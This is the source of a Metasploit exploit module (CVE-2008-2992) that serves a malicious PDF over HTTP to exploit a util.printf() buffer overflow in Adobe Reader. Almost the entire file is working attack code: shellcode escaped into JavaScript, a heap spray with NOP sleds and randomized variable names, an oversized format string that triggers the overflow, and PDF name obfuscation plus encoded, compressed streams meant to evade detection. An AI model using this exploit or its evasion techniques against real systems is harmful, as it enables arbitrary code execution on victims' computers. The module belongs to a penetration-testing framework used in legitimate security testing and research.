Path: blob/master/modules/exploits/windows/browser/adobe_utilprintf.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'zlib'67class MetasploitModule < Msf::Exploit::Remote8Rank = GoodRanking910include Msf::Exploit::Remote::HttpServer::HTML1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Adobe util.printf() Buffer Overflow',17'Description' => %q{18This module exploits a buffer overflow in Adobe Reader and Adobe Acrobat Professional19< 8.1.3. By creating a specially crafted pdf that a contains malformed util.printf()20entry, an attacker may be able to execute arbitrary code.21},22'License' => MSF_LICENSE,23'Author' => [ 'MC', 'Didier Stevens <didier.stevens[at]gmail.com>' ],24'References' => [25[ 'CVE', '2008-2992' ],26[ 'OSVDB', '49520' ],27],28'DefaultOptions' => {29'EXITFUNC' => 'process',30},31'Payload' => {32'Space' => 1024,33'BadChars' => "\x00",34},35'Platform' => 'win',36'Targets' => [37[ 'Adobe Reader v8.1.2 (Windows XP SP3 English)', { 'Ret' => '' } ],38],39'DisclosureDate' => '2008-02-08',40'DefaultTarget' => 0,41'Notes' => {42'Reliability' => UNKNOWN_RELIABILITY,43'Stability' => UNKNOWN_STABILITY,44'SideEffects' => UNKNOWN_SIDE_EFFECTS45}46)47)48end4950def autofilter51false52end5354def check_dependencies55use_zlib56end5758def on_request_uri(cli, request)59return if ((p = regenerate_payload(cli)) == nil)6061# Encode the shellcode.62shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))6364# Make some nops65nops = Rex::Text.to_unescape(make_nops(4))6667# Randomize variables68rand1 = rand_text_alpha(rand(100) + 1)69rand2 = rand_text_alpha(rand(100) + 1)70rand3 = rand_text_alpha(rand(100) + 1)71rand4 = rand_text_alpha(rand(100) + 1)72rand5 = rand_text_alpha(rand(100) + 1)73rand6 = rand_text_alpha(rand(100) + 1)74rand7 = rand_text_alpha(rand(100) + 1)75rand8 = rand_text_alpha(rand(100) + 1)76rand9 = rand_text_alpha(rand(100) + 1)77rand10 = rand_text_alpha(rand(100) + 1)78rand11 = rand_text_alpha(rand(100) + 1)79randnop = rand_text_alpha(rand(100) + 1)8081script = %Q|82var #{rand1} = unescape("#{shellcode}");83var #{randnop} = "#{nops}";84var #{rand2} ="";85for (#{rand3}=128;#{rand3}>=0;--#{rand3}) #{rand2} += unescape(#{randnop});86#{rand4} = #{rand2} + #{rand1};87#{rand5} = unescape("#{randnop}");88#{rand6} = 20;89#{rand7} = #{rand6}+#{rand4}.length90while (#{rand5}.length<#{rand7}) #{rand5}+=#{rand5};91#{rand8} = #{rand5}.substring(0, #{rand7});92#{rand9} = #{rand5}.substring(0, #{rand5}.length-#{rand7});93while(#{rand9}.length+#{rand7} < 0x40000) #{rand9} = #{rand9}+#{rand9}+#{rand8};94#{rand10} = new Array();95for (#{rand11}=0;#{rand11}<1450;#{rand11}++) #{rand10}[#{rand11}] = #{rand9} + #{rand4};96util.printf("%45000.45000f", 0);97|9899# Create the pdf100pdf = make_pdf(script)101102print_status("Sending #{self.name}")103104send_response(cli, pdf, { 'Content-Type' => 'application/pdf' })105106handler(cli)107end108109def random_non_ascii_string(count)110result = ""111count.times do112result << (rand(128) + 128).chr113end114result115end116117def io_def(id)118"%d 0 obj" % id119end120121def io_ref(id)122"%d 0 R" % id123end124125# http://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways/126def n_obfu(str)127result = ""128str.scan(/./u) do |c|129if rand(2) == 0 and c.upcase >= 'A' and c.upcase <= 'Z'130result << "#%x" % c.unpack("C*")[0]131else132result << c133end134end135result136end137138def ascii_hex_whitespace_encode(str)139result = ""140whitespace = ""141str.each_byte do |b|142result << whitespace << "%02x" % b143whitespace = " " * (rand(3) + 1)144end145result << ">"146end147148def make_pdf(js)149xref = []150eol = "\x0d\x0a"151endobj = "endobj" << eol152153pdf = "%PDF-1.5" << eol154pdf << "%" << random_non_ascii_string(4) << eol155xref << pdf.length156pdf << io_def(1) << n_obfu("<</Type/Catalog/Outlines ") << io_ref(2) << n_obfu("/Pages ") << io_ref(3) << n_obfu("/OpenAction ") << io_ref(5) << ">>" << endobj157xref << pdf.length158pdf << io_def(2) << n_obfu("<</Type/Outlines/Count 0>>") << endobj159xref << pdf.length160pdf << io_def(3) << n_obfu("<</Type/Pages/Kids[") << io_ref(4) << n_obfu("]/Count 1>>") << endobj161xref << pdf.length162pdf << io_def(4) << n_obfu("<</Type/Page/Parent ") << io_ref(3) << n_obfu("/MediaBox[0 0 612 792]>>") << endobj163xref << pdf.length164pdf << io_def(5) << n_obfu("<</Type/Action/S/JavaScript/JS ") + io_ref(6) + ">>" << endobj165xref << pdf.length166compressed = Zlib::Deflate.deflate(ascii_hex_whitespace_encode(js))167pdf << io_def(6) << n_obfu("<</Length %s/Filter[/FlateDecode/ASCIIHexDecode]>>" % compressed.length) << eol168pdf << "stream" << eol169pdf << compressed << eol170pdf << "endstream" << eol171pdf << endobj172xrefPosition = pdf.length173pdf << "xref" << eol174pdf << "0 %d" % (xref.length + 1) << eol175pdf << "0000000000 65535 f" << eol176xref.each do |index|177pdf << "%010d 00000 n" % index << eol178end179pdf << "trailer" << n_obfu("<</Size %d/Root " % (xref.length + 1)) << io_ref(1) << ">>" << eol180pdf << "startxref" << eol181pdf << xrefPosition.to_s() << eol182pdf << "%%EOF" << eol183end184end185186187